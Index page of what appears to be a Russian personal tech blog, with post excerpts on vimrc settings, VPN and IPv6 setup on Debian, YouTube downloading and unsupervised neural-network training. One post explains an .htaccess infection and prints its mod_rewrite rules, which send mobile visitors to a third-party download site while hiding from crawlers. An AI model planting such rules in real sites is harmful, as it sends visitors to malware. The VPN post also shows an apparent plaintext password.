Кроссдоменный ajax-запрос с помощью jquery

Столкнулся с тем, что по соображениям безопасности Chromium не отображает ajax-запросы, приняты с домена, отличного от того, на котором отрабатывается javascript.

Решением стал вот такой код

Continue reading


HTML-include (локальный импорт) или как собрать один html из кучи маленьких

Крохотный perl-скрипт для облегчения одной нудной задачи.

Подсмотрено тут https://www.linux.org.ru/forum/talks/11731305#comment-11731973

r-asian@localhost:~/Music/dk$ tree
.
├── build.pl
├── index.html
└── pages
    ├── 1.html
    └── 2.html

Continue reading


Мой vimrc. Обновление

set number # Номера строк
set textwidth=120 # Столбец, с которого начинаются переносы
set autoindent # Автоотступ
set tabstop=4 # Величина отступа в пробелах
set shiftwidth=4
set expandtab
set wildmenu
set noautowrite
set ignorecase
set showmatch
set nopaste
set nobackup
 
syntax on # Включаем синтаксис
 
nmap :/ # Поиск по F7
nmap :%s/ # Замена по F4
nmap :w # Сохранение по F2
vmap :wi
imap :wi
nmap :q! # Выход по F10
vmap :q!i
 
map :tabpreviousi
map :tabnext
nmap :tabnext
imap :tabnexti
nmap :tabnew
imap :tabnew
 
set wildmenu
set wcm=
menu Encoding.CP1251 :e ++enc=cp1251
menu Encoding.CP866 :

Быстрая настройка VPN-соединения в Debian/Ubuntu

Дано:

  • Адрес VPN-сервера  — remote.host.ru
  • Имя пользователя  — user29
  • Пароль — h6f0ksf
  • Адрес подсети, которую подключаем — 192.168.9.0/24
  • Адрес машины в подсети, для подключения — 192.168.9.125
  • Ssh-пользователь — user32@192.168.9.125
  • пароль от ssh пользователя — ******

Требуется:

Поднять VPN-туннель и сделать доступной для машины подсеть 192.168.9.0/24 и подключиться к  user32@192.168.9.125 по ssh

Continue reading


«Вирус» в .htaccess

Точнее целый класс вредоносного кода, схожего тем, что трафик с мобильных устройств через .htaccess с помощью правил mod_rewrite,реагирующих на User Agent браузера перенаправляют на сторонний ресурс, где можно скачать «очень полезное ПО» или, скорее всего «совершить обновление». Выглядит примерно так

RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser|iPad|iPhone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|ia_archiver|crawler|slurp|validator|webalta|yahoo|yandex|google|curl|wget) [NC]
RewriteRule (.*) http://pda.qwertysoft.biz/?29&source=sklad-kavkaz.ru [L,R=302] # On

Поднятие IPv6 сетевого интерфейса на Debian/Ubuntu в облачном сервере компании Selectel

Пусть в информации о сервере даны следующие параметры IPv6 сети

Доступный диапазон IPv6-адресов: 2a00:ab00:107:46:182:24:54:0000 — 2a00:ab00:107:46:182:24:54:FFFF

Маска: /48

Шлюз: 2a00:ab00:107::1

Тогда в консоли надо выполнить следующее:

# ip -6 addr add 2a00:ab00:107:46:182:24:54:1/48 dev eth0
# ip -6 route add ::/0 via 2a00:ab00:107::1 dev eth0


Сохранение видео с youtube в Debian/Ubuntu.

Наиболее адекватная утилита из тех что я нашел — это clive

Ставится как обычно

sudo apt-get install clive

Синтаксис тоже весьма незамысловатый

$ clive -O "rock_terrible.flv" "https://www.youtube.com/watch?v=dRmbIjf-FfA"

После чего появится монитор прогресса и видео сохранится в «rock_terrible.flv»

 

Checking ...done.
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 29.8M  100 29.8M    0     0   126k      0  0:04:02  0:04:02 --:--:--  164k

Применение нейронной сети, обучающейся без учителя для классификации продуктов питания по диетическим свойствам.

Дано:

  • Таблица продуктов питания с содержанием в них белков, жиров, углеводов и калорийности (некоторые цифры там у меня вызывают вопросы, например, откуда в черном чае белкИ, и почему пиво по калорийности сравнимо с грейпфруктовым соком, но в целом она аекватна).
  • Нейросеть с 4 входами (по количеству параметров), одним внутренним слоем из 16 нейронов и одним выходом, обучающаяся по модифицированному алгоритму Хэбба с акредитацией.

Необходимо, чтобы нейронная сеть сгруппировала данные продукты питания по принципу схожести их диетических параметров. Воспользуемся следующим алгоритмом
Continue reading


Обучение нейросети без учителя с аккредитацией.

В этой статье рассмотрен метод обучения нейросети без учителя по методу Хэбба. Как видно из результатов, семантические расстояния между объектами определяются не всегда верно. Но есть модифицированный метод Хэбба с «аккредитацией». В его ходе изменяются веса не всех нейронов слоя, а только того, веса входящих связей которого наименее отличаются от выходов нейронов предыдущего слоя.

Применим данный метод к тем же входным данным и получим следующее распределение.

Continue reading


Обучение нейронной сети без учителя.

В предыдущих статьях (раз, два) рассматривалась классификация автотранспорта на основе его параметров:

  1.  Масса
  2. Мощность двигателя
  3. Пассажировместимость
  4. Грузоподъёмность

На вход подавались значения этих параметров для различных транспортных средств, на выход эталонное разделение на классы (примеры) и на этих примерах нейросеть обучалась классифицировать повозки. Подом подавались выборки не из обучающих примеров для того, чтобы сеть сказала нам что это такое.

Такое обучение называется обучением с учителем .

Существует так же обучение без учителя, которое отличается тем, что правильных ответов на выход не подаётся, и задача нейросети состоит в том, чтобы в конце обучения установить степень подобия классифицируемых объектов. То есть подавая на вход значения параметров различных объектов, на выходе мы получаем числовую характеристику. К примеру из трёх анализируемых объектов наиболее похожи те, разница характеристики подобия которых меньше.

Воспользуемся теми же входными данными, что и ранее, чтобы обучить нейросеть без учителя по методу Хебба (попытавшимся самостоятельно его реализовать, небольшое дополнение, которое во многих статьях опускается, тем не менее способно выпить много крови: метод Хебба неработоспособен при функции активации нейронов, отличной от пороговой).
Continue reading